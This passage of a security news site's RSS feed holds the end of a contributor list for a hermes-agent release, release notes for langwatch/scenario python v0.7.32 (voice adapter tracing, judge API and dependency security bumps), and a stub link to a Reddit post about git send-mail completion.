data-octo-dimensions="link_type:self" href="https://github.com/HeLLGURD">@HeLLGURD</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hellno/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hellno">@hellno</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/herbalizer404/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/herbalizer404">@herbalizer404</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HexLab98/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HexLab98">@HexLab98</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hmirin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hmirin">@hmirin</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Hopfensaft/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Hopfensaft">@Hopfensaft</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Hotragn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Hotragn">@Hotragn</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hsy5571616/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hsy5571616">@hsy5571616</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/huanshan5195/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/huanshan5195">@huanshan5195</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HumphreySun98/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HumphreySun98">@HumphreySun98</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hwrdprkns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hwrdprkns">@hwrdprkns</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hydracoco7/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hydracoco7">@hydracoco7</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hydraxman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hydraxman">@hydraxman</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iamlukethedev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iamlukethedev">@iamlukethedev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iborazzi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iborazzi">@iborazzi</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IgorGanapolsky/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IgorGanapolsky">@IgorGanapolsky</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iizotov/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iizotov">@iizotov</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ildunari/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ildunari">@ildunari</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/infinitycrew39/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/infinitycrew39">@infinitycrew39</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IpastorSan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IpastorSan">@IpastorSan</a>, @irresi, @isfttr, @isheng-eqi, @itsflownium, @izumi0uu, @Jaaneek, @JacketPants,<br>
@jaisup, @jakelongvu-bot, @jakepresent, @jaketracey, @JAlmanzarMint, @JasonFang1993, @jbbottoms, @jcjc81,<br>
@JiaDe-Wu, @Jiahui-Gu, @Jigoooo, @jingsong-liu, @jneeee, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JoaoMarcos44/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JoaoMarcos44">@JoaoMarcos44</a>, @joelbrilliant, @John-Lussier, @jplew,<br>
@jtstothard, @juniperbevensee, @Jupiter363, @justinschille, @k4z4n0v4, @kaishi00, @karfly, @kartik-mem0,<br>
@kavioavio, @KCAYAAI, @kenyonxu, @keslerm, @kevinrajaram, @knoal, @kocaemre, @kohoj, @konsisumer, @krowd3v,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, @kuangmi-bit, @kubolko, @kyssta-exe, @Kyzcreig, @l0h1nth, @labsobsidian, @laurinaitis,<br>
@LavyaTandel, @lawyer112, @lemonwan, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LeonSGP43/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LeonSGP43">@LeonSGP43</a>, @lEWFkRAD, @linfeng961, @liuhao1024, @liuwei666888, @ljy-2000,<br>
@loes5050, @logical-and, @LoicHmh, @loongfay, @lord-dubious, @lost9999, @lucasfdale, @lucaskvasirr,<br>
@luxuguang-leo, @ly-wang19, @m0n5t3r, @m1qaweb, @M1racleShih, @MaartenDMT, @mahdiwafy, @MaheshBhushan,<br>
@ManniBr, @marcelohildebrand, @marcolivierlavoie, @markoub, @MarkVLK, @Marxb85, @matantsevs,<br>
@maxpetrusenkoagent, @mbac, @mdc2122, @mguttmann, @Mibayy, @michaelHMK, @mijanx, @minchang, @momomojo,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MorAlekss/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MorAlekss">@MorAlekss</a>, @morluto, @msh01, @mssteuer, @mvanhorn, @nanami7777777, @nankingjing, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/necoweb3/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/necoweb3">@necoweb3</a>, @neo-claw-bot,<br>
@neoguyverx, @nicha16, @nikshepsvn, @nima20002000, @nnnet, @NousResearch, @nullptr0807, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nv-kasikritc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nv-kasikritc">@nv-kasikritc</a>,<br>
@okisdev, @OmarB97, @ooiuuii, @ooovenenoso, @oppih, @Osraka, @ostravajih, @otsune, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, @OYLFLMH,<br>
@patrick-muller, @pdmartins, @pedrommaiaa, @Peterskaronis, @petrichor-op, @pgregg88, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pierrenode/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pierrenode">@pierrenode</a>, @pixel4039,<br>
@plcunha, @pnascimento9596, @Polyhistor, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PRATHAMESH75/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PRATHAMESH75">@PRATHAMESH75</a>, @professorpalmer, @Punyko8, @Que0x, @Qwinty,<br>
@r0gersm1th, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/r266-tech/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/r266-tech">@r266-tech</a>, @rabadaki, @ragingbulld, @RainbowAndSun, @rainbowgore, @randimt, @rarf, @rasitakyol,<br>
@rayjun, @raymondyan-zhijie, @re-ITRT, @RenoMG, @Rival, @RKelln, @rlaehddus302, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rob-maron/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rob-maron">@rob-maron</a>, @rodboev,<br>
@roryford, @rungmc357, @ruslanvasylev, @s0xn1ck, @s905060, @s96919, @sahibzada-allahyar, @sahil-shubham,<br>
@Sahil-SS9, @SahilRakhaiya05, @sam7894604, @SAMBAS123, @samrusani, @sanidhyasin, @sasquatch9818, @sberan,<br>
@ScotterMonk, @seagpt, @sebastianlutycz, @SemonCat, @setclock, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shannonsands/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shannonsands">@shannonsands</a>, @sharziki, @shashwatgokhe,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SHL0MS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SHL0MS">@SHL0MS</a>, @shuangxinniao, @SilentKnight87, @simplast, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/simpolism/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/simpolism">@simpolism</a>, @SiteupAgencia, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sjiangtao2024/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sjiangtao2024">@sjiangtao2024</a>, @sk-holmes,<br>
@slow4cyl, @smtony, @soddy022, @Soju06, @solyanviktor-star, @SongotenU, @spiky02plateau, @sprmn24, @SquabbyZ,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a>, @ssiweifnag, @stantheman0128, @StellarisW, @stephenschoettler, @suninrain086, @superposition,<br>
@Supersynergy, @sweetcornna, @szafranski, @tanmayxchoudhary, @tarunravi, @tcconnally, @terry197913, @Thatgfsj,<br>
@thegoodguysla, @thestudionorth, @TheTom, @TinkerOfThings, @tjboudreaux, @tjp2021, @Tortugasaur, @Tosko4,<br>
@Tranquil-Flow, @trevorgordon981, @trismegistus-wanderer, @tt-a1i, @tuancookiez-hub, @TurgutKural, @Umi4Life,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/UnathiCodex/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/UnathiCodex">@UnathiCodex</a>, @unsupportedpastels, @uzaylisak, @valda, @vampyren, @veradim, @victor-kyriazakos, @virtualex-itv,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vishal-dharm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vishal-dharm">@vishal-dharm</a>, @Vissirexa, @vizi0uz, @vkkong, @vKongv, @VolodymyrBg, @vortexopenclaw, @VrtxOmega, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/WadydX/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/WadydX">@WadydX</a>,<br>
@waroffchange, @waseemshahwan, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a>, @webtecnica, @wesleion, @wesleysimplicio, @williamumu,<br>
@WilsonKinyua, @wxy-nlp, @wyuebei-cloud, @x7peeps, @x9x9x9x9x9x91, @xuezhaolan, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xxxigm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xxxigm">@xxxigm</a>, @ya-nsh, @yatesjalex,<br>
@ygd58, @yingliang-zhang, @yinkev, @YLChen-007, @yu-xin-c, @yungchentang, @zapabob, @zccyman, @zeapsu,<br>
@ziliangpeng, @zwcf5200, @zzpigpinggai</p>
<p>Also: bo.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.</p>
<hr>
<p><strong>Full Changelog</strong>: <a href="https://github.com/NousResearch/hermes-agent/compare/v2026.7.1...v2026.7.20">v2026.7.1...v2026.7.20</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[python: v0.7.32]]></title>
<description><![CDATA[0.7.32 (2026-07-20)
Features

#660: expose context param on scenario.judge() public API (#667) (900f3d8)
#666: per-role voice modality negotiation — declaration-first, two-phase validation, OTEL stamps (#670) (007a69f)
events: support LANGWATCH_PROJECT_ID via X-Project-Id header (#619) (7aec1c7)
...]]></description>
<link>https://tsecurity.de/de/3681369/it-security-tools/python-v0732/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681369/it-security-tools/python-v0732/</guid>
<pubDate>Mon, 20 Jul 2026 16:19:58 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><a href="https://github.com/langwatch/scenario/compare/python/v0.7.31...python/v0.7.32">0.7.32</a> (2026-07-20)</h2>
<h3>Features</h3>
<ul>
<li><strong><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4639907852" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/660" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/660/hovercard" href="https://github.com/langwatch/scenario/issues/660">#660</a>:</strong> expose context param on scenario.judge() public API (<a href="https://github.com/langwatch/scenario/issues/667" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/667/hovercard">#667</a>) (<a href="https://github.com/langwatch/scenario/commit/900f3d866d5787a015780965e9de4f518b753ad7">900f3d8</a>)</li>
<li><strong><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4650318823" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/666" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/666/hovercard" href="https://github.com/langwatch/scenario/issues/666">#666</a>:</strong> per-role voice modality negotiation — declaration-first, two-phase validation, OTEL stamps (<a href="https://github.com/langwatch/scenario/issues/670" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/670/hovercard">#670</a>) (<a href="https://github.com/langwatch/scenario/commit/007a69faff6f33b9b5a6e9d4f811e9e2d8c81fdd">007a69f</a>)</li>
<li><strong>events:</strong> support LANGWATCH_PROJECT_ID via X-Project-Id header (<a href="https://github.com/langwatch/scenario/issues/619" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/619/hovercard">#619</a>) (<a href="https://github.com/langwatch/scenario/commit/7aec1c7c88a08ee4d732609fa480489e100f22e5">7aec1c7</a>)</li>
<li><strong>tracing:</strong> stamp scenario SDK name+version as trace attributes (<a href="https://github.com/langwatch/scenario/issues/744" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/744/hovercard">#744</a>) (<a href="https://github.com/langwatch/scenario/issues/745" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/745/hovercard">#745</a>) (<a href="https://github.com/langwatch/scenario/commit/43dd4fae3b439561b9ff196a9c0297968c1ae607">43dd4fa</a>)</li>
<li><strong>voice:</strong> continuous ElevenLabs mic pump + is_connected guard (<a href="https://github.com/langwatch/scenario/issues/740" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/740/hovercard">#740</a> slice A) (<a href="https://github.com/langwatch/scenario/issues/741" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/741/hovercard">#741</a>) (<a href="https://github.com/langwatch/scenario/commit/b6e7f93c43fee650c0fe37f27153a4805f3e7eb8">b6e7f93</a>)</li>
<li><strong>voice:</strong> harvest voice result fields on exit paths + concrete typing (<a href="https://github.com/langwatch/scenario/issues/740" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/740/hovercard">#740</a> slice E) (<a href="https://github.com/langwatch/scenario/issues/742" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/742/hovercard">#742</a>) (<a href="https://github.com/langwatch/scenario/commit/439b7be5bb02c9fa9ebf56ef71f76537e043ffde">439b7be</a>)</li>
<li><strong>voice:</strong> instrument base + ElevenLabs adapter with LangWatch spans (<a href="https://github.com/langwatch/scenario/issues/777" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/777/hovercard">#777</a>) (<a href="https://github.com/langwatch/scenario/commit/2b32872aa57b13f80e6b063425efac38a0c7604b">2b32872</a>)</li>
<li><strong>voice:</strong> instrument Gemini Live adapter with LangWatch spans (<a href="https://github.com/langwatch/scenario/issues/780" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/780/hovercard">#780</a>) (<a href="https://github.com/langwatch/scenario/commit/8ba8687cf38849074fe97a83a0ea4733cfdec09a">8ba8687</a>)</li>
<li><strong>voice:</strong> instrument OpenAI Realtime adapter with LangWatch spans (<a href="https://github.com/langwatch/scenario/issues/782" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/782/hovercard">#782</a>) (<a href="https://github.com/langwatch/scenario/commit/315296936f1d1465f97305431cdedba7730f9136">3152969</a>)</li>
<li><strong>voice:</strong> instrument Pipecat adapter + background-loop spans (<a href="https://github.com/langwatch/scenario/issues/774" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/774/hovercard">#774</a>) (<a href="https://github.com/langwatch/scenario/commit/67f71b1d30610e2da96396dea1e4c7f1a1355831">67f71b1</a>)</li>
<li><strong>voice:</strong> instrument Pipecat adapter + background-loop spans (<a href="https://github.com/langwatch/scenario/issues/781" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/781/hovercard">#781</a>) (<a href="https://github.com/langwatch/scenario/commit/67f71b1d30610e2da96396dea1e4c7f1a1355831">67f71b1</a>)</li>
<li><strong>voice:</strong> instrument Twilio adapter with LangWatch spans (<a href="https://github.com/langwatch/scenario/issues/788" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/788/hovercard">#788</a>) (<a href="https://github.com/langwatch/scenario/commit/8747eed1a8e36db0dfba3ebd08359822fa6d1e52">8747eed</a>)</li>
<li><strong>voice:</strong> realtime_langwatch_session context manager for live OpenAI Realtime apps (<a href="https://github.com/langwatch/scenario/issues/673" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/673/hovercard">#673</a>) (<a href="https://github.com/langwatch/scenario/issues/676" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/676/hovercard">#676</a>) (<a href="https://github.com/langwatch/scenario/commit/e89d00c344eeac18a8673eb974d905afa14014b4">e89d00c</a>)</li>
</ul>
<h3>Bug Fixes</h3>
<ul>
<li><strong><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3654909090" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/161" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/161/hovercard" href="https://github.com/langwatch/scenario/issues/161">#161</a>:</strong> re-parse criteria when LLM returns stringified JSON dict (<a href="https://github.com/langwatch/scenario/issues/552" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/552/hovercard">#552</a>) (<a href="https://github.com/langwatch/scenario/commit/b8198493aa638f0c31821050d7d4502b08e5f88e">b819849</a>)</li>
<li><strong><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4485409944" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/488" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/488/hovercard" href="https://github.com/langwatch/scenario/issues/488">#488</a>:</strong> log voice adapter and ffmpeg disconnect failures at WARNING (<a href="https://github.com/langwatch/scenario/issues/556" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/556/hovercard">#556</a>) (<a href="https://github.com/langwatch/scenario/commit/86bf4662c0a5f16ec23c25a11ea78368d39bff26">86bf466</a>)</li>
<li><strong><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4634746372" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/655" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/655/hovercard" href="https://github.com/langwatch/scenario/issues/655">#655</a>:</strong> replace brittle judge criteria with generic behavioral criteria in audio examples (<a href="https://github.com/langwatch/scenario/issues/679" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/679/hovercard">#679</a>) (<a href="https://github.com/langwatch/scenario/commit/732d426ae4865c8027fb03182cf8211461c11514">732d426</a>)</li>
<li><strong><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4647094960" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/664" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/664/hovercard" href="https://github.com/langwatch/scenario/issues/664">#664</a>:</strong> transcribe agent turns at runtime so the voice user simulator can read them (<a href="https://github.com/langwatch/scenario/issues/665" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/665/hovercard">#665</a>) (<a href="https://github.com/langwatch/scenario/commit/4b99682bee8ca6820537a100551ec83e97bcd89f">4b99682</a>)</li>
<li><strong><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4710280252" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/695" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/695/hovercard" href="https://github.com/langwatch/scenario/issues/695">#695</a>:</strong> twilio terminal sentinel on silent/tool-only stop (dead-recv-loop hang) (<a href="https://github.com/langwatch/scenario/issues/697" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/697/hovercard">#697</a>) (<a href="https://github.com/langwatch/scenario/commit/e675224226974eeb69a0ddffee48d47cca35b77c">e675224</a>)</li>
<li><strong>python:</strong> derive scenario.<strong>version</strong> from package metadata (<a href="https://github.com/langwatch/scenario/issues/800" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/800/hovercard">#800</a>) (<a href="https://github.com/langwatch/scenario/commit/0d505a7cfcc9467821ed61119f291944b626cc7f">0d505a7</a>)</li>
<li><strong>security:</strong> bump pyjwt to 2.13.0 (<a href="https://github.com/langwatch/scenario/issues/677" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/677/hovercard">#677</a>) (<a href="https://github.com/langwatch/scenario/commit/00807b770ad997a12ca1c10418e409e6f0cdf44b">00807b7</a>)</li>
<li><strong>security:</strong> bump python/uv.lock security floors (cryptography, python-multipart, starlette, python-liquid, pydantic-settings) (<a href="https://github.com/langwatch/scenario/issues/685" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/685/hovercard">#685</a>) (<a href="https://github.com/langwatch/scenario/commit/ee9a5d5f2d1c55b23e122dbdb138d82d38ab861c">ee9a5d5</a>)</li>
<li><strong>security:</strong> raise esbuild, js-yaml, and dompurify override floors across JS workspaces (<a href="https://github.com/langwatch/scenario/issues/671" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/671/hovercard">#671</a>) (<a href="https://github.com/langwatch/scenario/commit/c76bab247cd69395bcd55b85046dc4f17c783618">c76bab2</a>)</li>
<li><strong>security:</strong> raise vite 8.x floor to &gt;=8.0.16 across scenario workspaces (<a href="https://github.com/langwatch/scenario/issues/709" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/709/hovercard">#709</a>) (<a href="https://github.com/langwatch/scenario/commit/42d877ed4b187b3a7478f38f6efdce932cb696d9">42d877e</a>)</li>
<li><strong>voice/<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4485412046" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/491" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/491/hovercard" href="https://github.com/langwatch/scenario/issues/491">#491</a>:</strong> diagnose + resolve multi-turn <a href="https://github.com/e2e">@e2e</a> suite-wedge + tighten VAD tests (<a href="https://github.com/langwatch/scenario/issues/694" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/694/hovercard">#694</a>) (<a href="https://github.com/langwatch/scenario/commit/2dfc381df3c27f073706e5aed56d6852a9d8ebf0">2dfc381</a>)</li>
<li><strong>voice/<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4487734199" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/498" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/498/hovercard" href="https://github.com/langwatch/scenario/issues/498">#498</a>:</strong> surface recv-loop termination as attributable PipecatRecvError (<a href="https://github.com/langwatch/scenario/issues/692" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/692/hovercard">#692</a>) (<a href="https://github.com/langwatch/scenario/commit/c1f552cac4845654a57b27c5f705f61c3a3951cc">c1f552c</a>)</li>
<li><strong>voice/<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4632750761" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/648" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/648/hovercard" href="https://github.com/langwatch/scenario/issues/648">#648</a>:</strong> terminal drain on non-audio completion (EL + WebSocket) (<a href="https://github.com/langwatch/scenario/issues/693" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/693/hovercard">#693</a>) (<a href="https://github.com/langwatch/scenario/commit/c42320e130ae3d0ea67a743ffea8195cc5f76825">c42320e</a>)</li>
<li><strong>voice/<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4640224309" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/662" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/662/hovercard" href="https://github.com/langwatch/scenario/issues/662">#662</a>:</strong> guard <a href="https://github.com/langwatch/scenario/issues/662" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/662/hovercard">#662</a>'s response.create call sites against the active-response race (JS + PY) (<a href="https://github.com/langwatch/scenario/issues/669" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/669/hovercard">#669</a>) (<a href="https://github.com/langwatch/scenario/commit/0968374e2232af05cffd32b87c00e341511b2723">0968374</a>)</li>
<li><strong>voice/ts:</strong> explicit EL ConvAI turn-commit so scripted next-turn receive re-engages (<a href="https://github.com/langwatch/scenario/issues/596" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/596/hovercard">#596</a>) (<a href="https://github.com/langwatch/scenario/commit/795ae8eb7e672e180fea6a657d472e566431883b">795ae8e</a>)</li>
<li><strong>voice:</strong> guard response.create on active response in recv_audio (<a href="https://github.com/langwatch/scenario/issues/659" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/659/hovercard">#659</a>) (<a href="https://github.com/langwatch/scenario/commit/5e844ea73f39473f39fe70516c53762437263be1">5e844ea</a>)</li>
<li><strong>voice:</strong> hosted ElevenLabs single-exchange ceiling — docs + enriched timeout error (<a href="https://github.com/langwatch/scenario/issues/643" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/643/hovercard">#643</a>) (<a href="https://github.com/langwatch/scenario/commit/aae16beec4d5b74ee331c29ad960c43632434da0">aae16be</a>)</li>
<li><strong>voice:</strong> skip Twilio e2e fixtures on absent env, not fail (<a href="https://github.com/langwatch/scenario/issues/798" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/798/hovercard">#798</a>) (<a href="https://github.com/langwatch/scenario/commit/4c883d00a4c1155feedeb8c8638b4ece30931613">4c883d0</a>)</li>
<li><strong>voice:</strong> terminate wait=False test drain on end-of-turn, re-enable in CI (<a href="https://github.com/langwatch/scenario/issues/691" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/691/hovercard">#691</a>) (<a href="https://github.com/langwatch/scenario/commit/022056dc3621412256904bc8ddca930baafb2033">022056d</a>)</li>
</ul>
<h3>Documentation</h3>
<ul>
<li><strong>voice:</strong> drop references to a docs/proposals tree that never landed (<a href="https://github.com/langwatch/scenario/issues/613" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/613/hovercard">#613</a>) (<a href="https://github.com/langwatch/scenario/issues/823" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/823/hovercard">#823</a>) (<a href="https://github.com/langwatch/scenario/commit/0ef4314fef19d76013a3dbc56f7667b73a7a9dc9">0ef4314</a>)</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[git send-mail uncanny completion behavior...although, never encountered]]></title>
<description><![CDATA[submitted by    /u/unixbhaskar   [link]   [comments]]]></description>
<link>https://tsecurity.de/de/3680110/linux-tipps/git-send-mail-uncanny-completion-behavioralthough-never-encountered/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680110/linux-tipps/git-send-mail-uncanny-completion-behavioralthough-never-encountered/</guid>
<pubDate>Mon, 20 Jul 2026 01:09:16 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
